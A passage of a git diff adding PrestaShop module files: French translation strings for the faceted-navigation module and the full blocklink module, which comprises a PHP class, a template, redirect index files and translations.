'Créé le'; +$_MODULE['<{blocklayered}prestashop>blocklayered_06df33001c1d7187fdd81ea1f5b277aa'] = 'Actions'; +$_MODULE['<{blocklayered}prestashop>blocklayered_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ee7d4220e8cade335dde5e0f414b5969'] = 'Supprimer le modèle de filtre n°%d ?'; +$_MODULE['<{blocklayered}prestashop>blocklayered_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{blocklayered}prestashop>blocklayered_058eeeba77f547f8a9a295a0efd4f6cd'] = 'Aucun modèle de filtre n\'a été trouvé.'; +$_MODULE['<{blocklayered}prestashop>blocklayered_c25a08cd48b8fd27ff49f435f05640c3'] = 'Construisez vos propres modèles de filtre'; +$_MODULE['<{blocklayered}prestashop>blocklayered_0ce4150f57948567deeaa58d0c367412'] = 'Étape 1/3 - Choisissez vos catégories'; +$_MODULE['<{blocklayered}prestashop>blocklayered_99cdd6365310333a594b16e5658eee5c'] = 'Utiliser ce modèle pour :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_62f5d708d6ad1fa1ddd9429a65cccbea'] = 'Toutes les catégories'; +$_MODULE['<{blocklayered}prestashop>blocklayered_4071a0db922638ac9648539ea2ddaa8b'] = 'Catégories *spécifiques*'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ef7de3f485174ff47f061ad27d83d0ee'] = 'sélectionnée(s)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_c2d0bf5ad42279c519cdcb4a94eb46b6'] = 'Choisissez une association de boutiques :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_f72c75bdf80dc88b2529162f4947edc8'] = 'Veuillez sélectionnez au moins une catégorie spécifique ou choisissez \"Toutes les catégories\".'; +$_MODULE['<{blocklayered}prestashop>blocklayered_64646db703ca003a37bd1e73977a3a4d'] = 'Catégories utilisant ce modèle'; +$_MODULE['<{blocklayered}prestashop>blocklayered_d758a9754eb9f36db05c22ad0c77e38e'] = 'Sélectionnez une ou plusieurs catégories utilisant ce modèle'; +$_MODULE['<{blocklayered}prestashop>blocklayered_5965d2ce192837f00d743d8a674382c1'] = 'Cliquez sur \"Enregistrer cette sélection\" ou fermez la fenêtre pour enregistrer'; +$_MODULE['<{blocklayered}prestashop>blocklayered_fa03eb688ad8aa1db593d33dabd89bad'] = 'Racine'; +$_MODULE['<{blocklayered}prestashop>blocklayered_8cf04a9734132302f96da8e113e80ce5'] = 'Accueil'; +$_MODULE['<{blocklayered}prestashop>blocklayered_b56c3bda503a8dc4be356edb0cc31793'] = 'Tout replier'; +$_MODULE['<{blocklayered}prestashop>blocklayered_5ffd7a335dd836b3373f5ec570a58bdc'] = 'Tout étendre'; +$_MODULE['<{blocklayered}prestashop>blocklayered_5e9df908eafa83cb51c0a3720e8348c7'] = 'Tout cocher'; +$_MODULE['<{blocklayered}prestashop>blocklayered_9747d23c8cc358c5ef78c51e59cd6817'] = 'Tout décocher'; +$_MODULE['<{blocklayered}prestashop>blocklayered_d0f06038b6b3aa5edc07c7a6fd3ca3f9'] = 'Chercher une catégorie'; +$_MODULE['<{blocklayered}prestashop>blocklayered_72dd03f11489ff6f604a4eb57c957202'] = 'Enregistrer cette sélection'; +$_MODULE['<{blocklayered}prestashop>blocklayered_2e527847e8c785f3fd99651f64006798'] = 'Étape 2/3 - Sélectionnez vos filtres'; +$_MODULE['<{blocklayered}prestashop>blocklayered_3488a51eb7f723d65daeff912e69b177'] = 'Filres sélectionnés'; +$_MODULE['<{blocklayered}prestashop>blocklayered_cf3cd81b30d4c4fd996ae5374fe656da'] = 'Aucun filtre sélectionné pour le moment.'; +$_MODULE['<{blocklayered}prestashop>blocklayered_8524de963f07201e5c086830d370797f'] = 'Chargement...'; +$_MODULE['<{blocklayered}prestashop>blocklayered_597c70730ebddba7d845e686665f9f28'] = 'Vous avez sélectionné - Toutes catégories-, tous les modèles de filtre existants seront supprimés, est-ce bien là ce que vous voulez faire ?'; +$_MODULE['<{blocklayered}prestashop>blocklayered_c48c42c966b3a35ad3b893e798bdec7c'] = 'Erreurs :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_74a6a547d86659933a210680efb6e6d1'] = 'Étape 3/3 - Nommez votre modèle'; +$_MODULE['<{blocklayered}prestashop>blocklayered_f8263d99054a4cdb3428196f078fa212'] = 'Nom du modèle :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_32d2e6cd4bb1719c572ef470a3a525b6'] = 'Mon modèle %s'; +$_MODULE['<{blocklayered}prestashop>blocklayered_5f514b580ea1b6bdb681916bc1deb207'] = 'uniquement pour le retrouver facilement'; +$_MODULE['<{blocklayered}prestashop>blocklayered_188185ae335eb523e53d6d31ede21f1c'] = 'Aucun filtre sélectionné, la navigation à facette sera désactivée pour les catégories concernées.'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ef1094d9826e98f5417e0a37f1742133'] = 'Sauvegarder ce modèle de filtres'; +$_MODULE['<{blocklayered}prestashop>blocklayered_254f642527b45bc260048e30704edb39'] = 'Configuration'; +$_MODULE['<{blocklayered}prestashop>blocklayered_054b4f3ea543c990f6b125f41af6ebf7'] = 'Option'; +$_MODULE['<{blocklayered}prestashop>blocklayered_689202409e48743b914713f96d93947c'] = 'Valeur'; +$_MODULE['<{blocklayered}prestashop>blocklayered_9868c3ac0748acf3b981a96cfe163ee8'] = 'Cacher les valeurs de filtre avec aucun produit correspondant'; +$_MODULE['<{blocklayered}prestashop>blocklayered_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{blocklayered}prestashop>blocklayered_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{blocklayered}prestashop>blocklayered_8531c73de81b9ed94322dda7cf947daa'] = 'Afficher le nombre de produits qui correspondent'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ee61c015043c79c1370fc14980dd27b9'] = 'Afficher les produits des sous-catégories'; +$_MODULE['<{blocklayered}prestashop>blocklayered_a19399fa42f1ab059401a14b9f13eba1'] = 'Profondeur du filtre de catégorie (0 pour aucune limite, 1 par défaut)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_3e652bd299bb3ee3d458c0dcc7fd706e'] = 'Utiliser les taxes pour filtrer les prix'; +$_MODULE['<{blocklayered}prestashop>blocklayered_cc787af9edec8ce947ada8ab5bbff6e5'] = 'Autoriser les robots d\'indexation (Google, Yahoo, Bing, ...) à utiliser le filtre d\'état'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ab28e5086d1dcb1474a4bd4951b148b9'] = 'Autoriser les robots d\'indexation (Google, Yahoo, Bing, ...) à utiliser le filtre de disponibilité'; +$_MODULE['<{blocklayered}prestashop>blocklayered_1218da2abb1e88e7fe8855995def9fef'] = 'Autoriser les robots d\'indexation (Google, Yahoo, Bing, ...) à utiliser le filtre fabriquant'; +$_MODULE['<{blocklayered}prestashop>blocklayered_c41e97692bc79531a51dfca4b7f6bee0'] = 'Autoriser les robots d\'indexation (Google, Yahoo, Bing, ...) à utiliser le filtre catégorie'; +$_MODULE['<{blocklayered}prestashop>blocklayered_cf565402d32b79d33f626252949a6941'] = 'Configuration enregistrée'; +$_MODULE['<{blocklayered}prestashop>blocklayered_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{blocklayered}prestashop>blocklayered_8c489d0946f66d17d73f26366a4bf620'] = 'Poids'; +$_MODULE['<{blocklayered}prestashop>blocklayered_03c2e7e41ffc181a4e84080b4710e81e'] = 'Neuf'; +$_MODULE['<{blocklayered}prestashop>blocklayered_019d1ca7d50cc54b995f60d456435e87'] = 'Occasion'; +$_MODULE['<{blocklayered}prestashop>blocklayered_6da03a74721a0554b7143254225cc08a'] = 'Reconditionné'; +$_MODULE['<{blocklayered}prestashop>blocklayered_9e2941b3c81256fac10392aaca4ccfde'] = 'État'; +$_MODULE['<{blocklayered}prestashop>blocklayered_2d25c72c1b18e562f6654fff8e11711e'] = 'Non disponible'; +$_MODULE['<{blocklayered}prestashop>blocklayered_fcebe56087b9373f15514831184fa572'] = 'En stock'; +$_MODULE['<{blocklayered}prestashop>blocklayered_faeaec9eda6bc4c8cb6e1a9156a858be'] = 'Disponibilité'; +$_MODULE['<{blocklayered}prestashop>blocklayered_c0bd7654d5b278e65f21cf4e9153fdb4'] = 'Fabricant'; +$_MODULE['<{blocklayered}prestashop>blocklayered_308edffd52afae39cc6277e246ec5df8'] = 'Filtres disponibles'; +$_MODULE['<{blocklayered}prestashop>blocklayered_cfbc982f8fb7a0cc3abb3c85c795ab41'] = 'Filtre de sous-catégories'; +$_MODULE['<{blocklayered}prestashop>blocklayered_af605ea55ee39e54c444f217e346048f'] = 'Pas de limite'; +$_MODULE['<{blocklayered}prestashop>blocklayered_4f8222964f9a317cef99dddc23a121bd'] = 'Case à cocher'; +$_MODULE['<{blocklayered}prestashop>blocklayered_07a9ca8c8228dd3399141e228034fedf'] = 'Bouton radio'; +$_MODULE['<{blocklayered}prestashop>blocklayered_5204077231fc7164e2269e96b584dd95'] = 'Liste déroulante'; +$_MODULE['<{blocklayered}prestashop>blocklayered_cd50ff1c5332f9920acf8173c4aab425'] = 'Filtre stock du produit'; +$_MODULE['<{blocklayered}prestashop>blocklayered_048c1728a0a6cf36f56c9dcdd23d8a14'] = 'Filtre état du produit'; +$_MODULE['<{blocklayered}prestashop>blocklayered_02ecc2cbb645a2b859deba6907334cc8'] = 'Filtre fabriquant du produit'; +$_MODULE['<{blocklayered}prestashop>blocklayered_cc72ed9534a489b5d2e5882735bf1364'] = 'Filtre poids du produit (curseur)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_2d9b9a764fb0be4be10e1b2fce63f561'] = 'Curseur'; +$_MODULE['<{blocklayered}prestashop>blocklayered_7e650380ef2b9cec2f2a96e6266ca93d'] = 'Zone de saisie'; +$_MODULE['<{blocklayered}prestashop>blocklayered_010359888c6e811caee8e540221f0a21'] = 'Liste de valeurs'; +$_MODULE['<{blocklayered}prestashop>blocklayered_0649bb392812f99ff6b0e2ba160675fa'] = 'Filtre prix du produit (cuseur)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_88abab51d4f2e6732b518911bfca58a4'] = 'Groupe d\'attributs : %1$s (%2$d attributs)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_e38ebd31243143bf3f3bd3810b5fc156'] = 'Groupe d\'attributs : %1$s (%2$d attribut)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ee59f74265cd7f85d0ad30206a1a89b0'] = 'Ce groupe permet aux clients de choisir une couleur'; +$_MODULE['<{blocklayered}prestashop>blocklayered_7d06fc6f3166570e5d8995088066c0a2'] = 'Caractéristique : %1$s (%2$d valeurs)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_57d6fd5e5b9c215d6edac66b67e65773'] = 'Caractéristique : %1$s (%2$d valeur)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_c32516babc5b6c47eb8ce1bfc223253c'] = 'Catalogue'; +$_MODULE['<{blocklayered}prestashop>blocklayered_1262d1b9fbffb3a8e85ac9e4b449e989'] = 'Filtres actifs :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{blocklayered}prestashop>blocklayered_853ae90f0351324bd73ea615e6487517'] = ':'; +$_MODULE['<{blocklayered}prestashop>blocklayered_b47b72ddf8a3fa1949a7fb6bb5dbc60c'] = 'Aucun filtre'; +$_MODULE['<{blocklayered}prestashop>blocklayered_75954a3c6f2ea54cb9dff249b6b5e8e6'] = 'Tranche :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_5da618e8e4b89c66fe86e32cdafde142'] = 'De'; +$_MODULE['<{blocklayered}prestashop>blocklayered_01b6e20344b68835c5ed1ddedf20d531'] = 'à'; +$_MODULE['<{blocklayered}prestashop>blocklayered_146ffe2fd9fa5bec3b63b52543793ec7'] = 'Voir plus'; +$_MODULE['<{blocklayered}prestashop>blocklayered_c74ea6dbff701bfa23819583c52ebd97'] = 'Voir moins'; diff --git a/modules/blocklink/add.png b/modules/blocklink/add.png new file mode 100755 index 0000000..00be352 Binary files /dev/null and b/modules/blocklink/add.png differ diff --git a/modules/blocklink/blocklink.php b/modules/blocklink/blocklink.php new file mode 100755 index 0000000..51f0dc9 --- /dev/null +++ b/modules/blocklink/blocklink.php @@ -0,0 +1,453 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockLink extends Module +{ + /* @var boolean error */ + protected $error = false; + + public function __construct() + { + $this->name = 'blocklink'; + $this->tab = 'front_office_features'; + $this->version = '1.5'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Link block'); + $this->description = $this->l('Adds a block with additional links.'); + $this->confirmUninstall = $this->l('Are you sure you want to delete all your links ?'); + } + + public function install() + { + if (!parent::install() || + !$this->registerHook('leftColumn') || !$this->registerHook('header') || + !Db::getInstance()->execute(' + CREATE TABLE '._DB_PREFIX_.'blocklink ( + `id_blocklink` int(2) NOT NULL AUTO_INCREMENT, + `url` varchar(255) NOT NULL, + `new_window` TINYINT(1) NOT NULL, + PRIMARY KEY(`id_blocklink`)) + ENGINE='._MYSQL_ENGINE_.' default CHARSET=utf8') || + !Db::getInstance()->execute(' + CREATE TABLE '._DB_PREFIX_.'blocklink_shop ( + `id_blocklink` int(2) NOT NULL AUTO_INCREMENT, + `id_shop` int(2) NOT NULL, + PRIMARY KEY(`id_blocklink`, `id_shop`)) + ENGINE='._MYSQL_ENGINE_.' default CHARSET=utf8') || + !Db::getInstance()->execute(' + CREATE TABLE '._DB_PREFIX_.'blocklink_lang ( + `id_blocklink` int(2) NOT NULL, + `id_lang` int(2) NOT NULL, + `text` varchar(64) NOT NULL, + PRIMARY KEY(`id_blocklink`, `id_lang`)) + ENGINE='._MYSQL_ENGINE_.' default CHARSET=utf8') || + !Configuration::updateValue('PS_BLOCKLINK_TITLE', array('1' => 'Block link', '2' => 'Bloc lien'))) + return false; + return true; + } + + public function uninstall() + { + if (!parent::uninstall() || + !Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.'blocklink') || + !Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.'blocklink_lang') || + !Db::getInstance()->execute('DROP TABLE '._DB_PREFIX_.'blocklink_shop') || + !Configuration::deleteByName('PS_BLOCKLINK_TITLE') || + !Configuration::deleteByName('PS_BLOCKLINK_URL')) + return false; + return true; + } + + public function hookLeftColumn($params) + { + $links = $this->getLinks(); + + $this->smarty->assign(array( + 'blocklink_links' => $links, + 'title' => Configuration::get('PS_BLOCKLINK_TITLE', $this->context->language->id), + 'url' => Configuration::get('PS_BLOCKLINK_URL'), + 'lang' => 'text_'.$this->context->language->id + )); + if (!$links) + return false; + return $this->display(__FILE__, 'blocklink.tpl'); + } + + public function hookRightColumn($params) + { + return $this->hookLeftColumn($params); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS($this->_path.'blocklink.css', 'all'); + } + + public function getLinks() + { + $result = array(); + // Get id and url + + $sql = 'SELECT b.`id_blocklink`, b.`url`, b.`new_window` + FROM `'._DB_PREFIX_.'blocklink` b'; + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL) + $sql .= ' JOIN `'._DB_PREFIX_.'blocklink_shop` bs ON b.`id_blocklink` = bs.`id_blocklink` AND bs.`id_shop` IN ('.implode(', ', Shop::getContextListShopID()).') '; + $sql .= (int)Configuration::get('PS_BLOCKLINK_ORDERWAY') == 1 ? ' ORDER BY `id_blocklink` DESC' : ''; + + if (!$links = Db::getInstance()->executeS($sql)) + return false; + $i = 0; + foreach ($links as $link) + { + $result[$i]['id'] = $link['id_blocklink']; + $result[$i]['url'] = $link['url']; + $result[$i]['newWindow'] = $link['new_window']; + // Get multilingual text + if (!$texts = Db::getInstance()->executeS('SELECT `id_lang`, `text` + FROM '._DB_PREFIX_.'blocklink_lang + WHERE `id_blocklink`='.(int)$link['id_blocklink'])) + return false; + foreach ($texts as $text) + $result[$i]['text_'.$text['id_lang']] = $text['text']; + $i++; + } + return $result; + } + + public function addLink() + { + if (!($languages = Language::getLanguages())) + return false; + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + + if ($id_link = Tools::getValue('id_link')) + { + if (!Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'blocklink SET `url` = \''.pSQL($_POST['url']).'\', `new_window` = '.(isset($_POST['newWindow']) ? 1 : 0).' WHERE `id_blocklink` = '.(int)$id_link)) + return false; + if (!Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'blocklink_lang WHERE `id_blocklink` = '.(int)$id_link)) + return false; + + foreach ($languages as $language) + if (!empty($_POST['text_'.$language['id_lang']])) + { + if (!Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'blocklink_lang VALUES ('.(int)$id_link.', '.(int)($language['id_lang']).', \''.pSQL($_POST['text_'.$language['id_lang']]).'\')')) + return false; + } + else + if (!Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'blocklink_lang VALUES ('.(int)$id_link.', '.$language['id_lang'].', \''.pSQL($_POST['text_'.$id_lang_default]).'\')')) + return false; + } + else + { + if (!Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'blocklink + VALUES (NULL, \''.pSQL($_POST['url']).'\', '.((isset($_POST['newWindow']) && $_POST['newWindow']) == 'on' ? 1 : 0).')') || + !$id_link = Db::getInstance()->Insert_ID()) + return false; + + foreach ($languages as $language) + if (!empty($_POST['text_'.$language['id_lang']])) + { + if (!Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'blocklink_lang + VALUES ('.(int)$id_link.', '.(int)$language['id_lang'].', \''.pSQL($_POST['text_'.$language['id_lang']]).'\')')) + return false; + } + else + if (!Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'blocklink_lang VALUES ('.(int)$id_link.', '.(int)($language['id_lang']).', \''.pSQL($_POST['text_'.$id_lang_default]).'\')')) + return false; + } + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'blocklink_shop WHERE id_blocklink='.(int)$id_link); + + if (!Shop::isFeatureActive()) + { + Db::getInstance()->insert('blocklink_shop', array( + 'id_blocklink' => (int)$id_link, + 'id_shop' => (int)Context::getContext()->shop->id, + )); + } + else + { + $assos_shop = Tools::getValue('checkBoxShopAsso_blocklink'); + if (empty($assos_shop)) + return false; + foreach ($assos_shop as $id_shop => $row) + Db::getInstance()->insert('blocklink_shop', array( + 'id_blocklink' => (int)$id_link, + 'id_shop' => (int)$id_shop, + )); + } + return true; + } + + public function deleteLink() + { + return (Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'blocklink WHERE `id_blocklink` = '.(int)$_GET['id']) && + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'blocklink_shop WHERE `id_blocklink` = '.(int)$_GET['id']) && + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'blocklink_lang WHERE `id_blocklink` = '.(int)$_GET['id'])); + } + + public function updateTitle() + { + $languages = Language::getLanguages(); + $result = array(); + foreach ($languages as $language) + $result[$language['id_lang']] = $_POST['title_'.$language['id_lang']]; + if (!Configuration::updateValue('PS_BLOCKLINK_TITLE', $result)) + return false; + return Configuration::updateValue('PS_BLOCKLINK_URL', $_POST['title_url']); + } + + public function getContent() + { + $this->_html = '

        '.$this->displayName.'

        + '; + + // Add a link + if (isset($_POST['submitLinkAdd'])) + { + if (empty($_POST['text_'.Configuration::get('PS_LANG_DEFAULT')]) || empty($_POST['url'])) + $this->_html .= $this->displayError($this->l('You must fill in all fields')); + elseif (!Validate::isUrl(str_replace('http://', '', $_POST['url']))) + $this->_html .= $this->displayError($this->l('Bad URL')); + else + if ($this->addLink()) + $this->_html .= $this->displayConfirmation($this->l('The link has been added.')); + else + $this->_html .= $this->displayError($this->l('An error occurred during link creation.')); + } + // Update the block title + elseif (isset($_POST['submitTitle'])) + { + + if (empty($_POST['title_'.Configuration::get('PS_LANG_DEFAULT')])) + $this->_html .= $this->displayError($this->l('"title" field cannot be empty.')); + elseif (!empty($_POST['title_url']) && !Validate::isUrl(str_replace('http://', '', $_POST['title_url']))) + $this->_html .= $this->displayError($this->l('The \'title\' field is invalid')); + elseif (!Validate::isGenericName($_POST['title_'.Configuration::get('PS_LANG_DEFAULT')])) + $this->_html .= $this->displayError($this->l('The \'title\' field is invalid')); + elseif (!$this->updateTitle()) + $this->_html .= $this->displayError($this->l('An error occurred during title updating.')); + else + $this->_html .= $this->displayConfirmation($this->l('The block title has been updated.')); + } + // Delete a link + elseif (Tools::getValue('delete_link') && isset($_GET['id'])) + { + + if (!is_numeric($_GET['id']) || !$this->deleteLink()) + $this->_html .= $this->displayError($this->l('An error occurred during link deletion.')); + else + $this->_html .= $this->displayConfirmation($this->l('The link has been deleted.')); + } + + if (isset($_POST['submitOrderWay'])) + { + if (Configuration::updateValue('PS_BLOCKLINK_ORDERWAY', (int)(Tools::getValue('orderWay')))) + $this->_html .= $this->displayConfirmation($this->l('Sort order updated')); + else + $this->_html .= $this->displayError($this->l('An error occurred during sort order set-up.')); + } + + $this->_displayForm(); + $this->_list(); + + return $this->_html; + } + + private function _displayForm() + { + /* Language */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'text¤title'; + /* Title */ + $title_url = Configuration::get('PS_BLOCKLINK_URL'); + if (!Tools::isSubmit('submitLinkAdd')) + { + if ($id_link = (int)Tools::getValue('id_link')) + { + $res = Db::getInstance()->executeS(' + SELECT * + FROM '._DB_PREFIX_.'blocklink b + LEFT JOIN '._DB_PREFIX_.'blocklink_lang bl ON (b.id_blocklink = bl.id_blocklink) + WHERE b.id_blocklink='.(int)$id_link); + if ($res) + foreach ($res as $row) + { + $links['text'][(int)$row['id_lang']] = $row['text']; + $links['url'] = $row['url']; + $links['new_window'] = $row['new_window']; + } + } + } + $this->_html .= ' + +
        + '.$this->l('Add a new link').' +
        + + +
        '; + foreach ($languages as $language) + $this->_html .= ' +
        + * +
        '; + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'text', true); + $this->_html .= ' +
        +
        + +
        *
        + +
        '; + $shops = Shop::getShops(true, null, true); + if (Shop::isFeatureActive() && count($shops) > 1) + { + $helper = new HelperForm(); + $helper->id = (int)Tools::getValue('id_link'); + $helper->table = 'blocklink'; + $helper->identifier = 'id_blocklink'; + + $this->_html .= '
        '.$helper->renderAssoShop().'
        '; + } + $this->_html .= ' +
        + +
        +
        +
        +
        + '.$this->l('Block title').' +
        + +
        '; + foreach ($languages as $language) + $this->_html .= ' +
        + * +
        '; + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= ' +
        +
        + +
        +
        +
        +
        +
        + '.$this->l('Settings').' +
        + +
        + +
        +
        +
        +
        '; + } + + private function _list() + { + $links = $this->getLinks(); + $languages = Language::getLanguages(); + $token = Tools::safeOutput(Tools::getValue('token')); + if (!Validate::isCleanHtml($token)) + $token = ''; + if ($links) + { + $this->_html .= ' + '; + } + $this->_html .= ' +

        '.$this->l('Link list').'

        + + + + + + + '; + + if (!$links) + $this->_html .= ' + + + '; + else + foreach ($links as $link) + $this->_html .= ' + + + + + + '; + $i = 0; + $nb = count($languages); + $idLng = 0; + while ($i < $nb) + { + if ($languages[$i]['id_lang'] == (int)Configuration::get('PS_LANG_DEFAULT')) + $idLng = $i; + $i++; + } + $this->_html .= ' +
        '.$this->l('ID').''.$this->l('Text').''.$this->l('URL').''.$this->l('Actions').'
        '.$this->l('There are no links.').'
        '.(int)$link['id'].''.Tools::safeOutput($link['text_'.$this->context->language->id]).''.Tools::safeOutput($link['url']).' + + +
        + + '; + } +} diff --git a/modules/blocklink/blocklink.tpl b/modules/blocklink/blocklink.tpl new file mode 100755 index 0000000..8a08eb0 --- /dev/null +++ b/modules/blocklink/blocklink.tpl @@ -0,0 +1,43 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/modules/blocklink/img/arrow_right_2.png b/modules/blocklink/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/blocklink/img/arrow_right_2.png differ diff --git a/modules/blocklink/img/index.php b/modules/blocklink/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocklink/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocklink/index.php b/modules/blocklink/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocklink/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocklink/logo.gif b/modules/blocklink/logo.gif new file mode 100755 index 0000000..9ea90ff Binary files /dev/null and b/modules/blocklink/logo.gif differ diff --git a/modules/blocklink/logo.png b/modules/blocklink/logo.png new file mode 100755 index 0000000..b0c35b5 Binary files /dev/null and b/modules/blocklink/logo.png differ diff --git a/modules/blocklink/prefs.gif b/modules/blocklink/prefs.gif new file mode 100755 index 0000000..1a1f435 Binary files /dev/null and b/modules/blocklink/prefs.gif differ diff --git a/modules/blocklink/translations/fr.php b/modules/blocklink/translations/fr.php new file mode 100755 index 0000000..94b2ac3 --- /dev/null +++ b/modules/blocklink/translations/fr.php @@ -0,0 +1,40 @@ +blocklink_fc738410141e4ec0c0319a81255a1431'] = 'Bloc liens'; +$_MODULE['<{blocklink}prestashop>blocklink_baa2ae9622a47c3217d725d1537e5187'] = 'Ajoute un bloc avec des liens additionels.'; +$_MODULE['<{blocklink}prestashop>blocklink_d98d5daaf408b77b05a2eeb6ae88d6df'] = 'Êtes-vous sûr de vouloir supprimer tous vos liens ?'; +$_MODULE['<{blocklink}prestashop>blocklink_fe3f38c46c80813d94b6775299e59f13'] = 'Vous devez remplir l\'ensemble des champs'; +$_MODULE['<{blocklink}prestashop>blocklink_9394bb34611399534ffac4f0ece96b7f'] = 'Mauvaise URL'; +$_MODULE['<{blocklink}prestashop>blocklink_3da9d5745155a430aac6d7de3b6de0c8'] = 'Le lien a bien été ajouté.'; +$_MODULE['<{blocklink}prestashop>blocklink_898536ebd630aa3a9844e9cd9d1ebb9b'] = 'Une erreur est survenue lors de la création du lien.'; +$_MODULE['<{blocklink}prestashop>blocklink_b18032737875f7947443c98824103a1f'] = 'Le champ \"titre\" ne peut être laissé vide.'; +$_MODULE['<{blocklink}prestashop>blocklink_43b38b9a2fe65059bed320bd284047e3'] = 'Le titre n\'est pas valable.'; +$_MODULE['<{blocklink}prestashop>blocklink_eb74914f2759760be5c0a48f699f8541'] = 'Une erreur est survenue lors de la mise à jour du titre.'; +$_MODULE['<{blocklink}prestashop>blocklink_5c0f7e2db8843204f422a369f2030b37'] = 'Le titre du bloc a bien été mis à jour.'; +$_MODULE['<{blocklink}prestashop>blocklink_5d73d4c0bcb035a1405e066eb0cdf832'] = 'Une erreur est survenue lors de la suppression du lien.'; +$_MODULE['<{blocklink}prestashop>blocklink_9bbcafcc85be214aaff76dffb8b72ce9'] = 'Le lien a bien été supprimé.'; +$_MODULE['<{blocklink}prestashop>blocklink_7e5748d8c44f33c9cde08ac2805e5621'] = 'Ordre de tri mis à jour.'; +$_MODULE['<{blocklink}prestashop>blocklink_46cff2568b00bc09d66844849d0b1309'] = 'Une erreur est survenue lors du changement de l\'ordre de tri.'; +$_MODULE['<{blocklink}prestashop>blocklink_58e9b25bb2e2699986a3abe2c92fc82e'] = 'Ajouter un nouveau lien'; +$_MODULE['<{blocklink}prestashop>blocklink_ed2fc2838f7edb7607dd1cd19f3a82e0'] = 'Texte :'; +$_MODULE['<{blocklink}prestashop>blocklink_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{blocklink}prestashop>blocklink_1f3674ab0d54a38327e8e4a0d97788d4'] = 'S\'ouvre dans une nouvelle fenêtre :'; 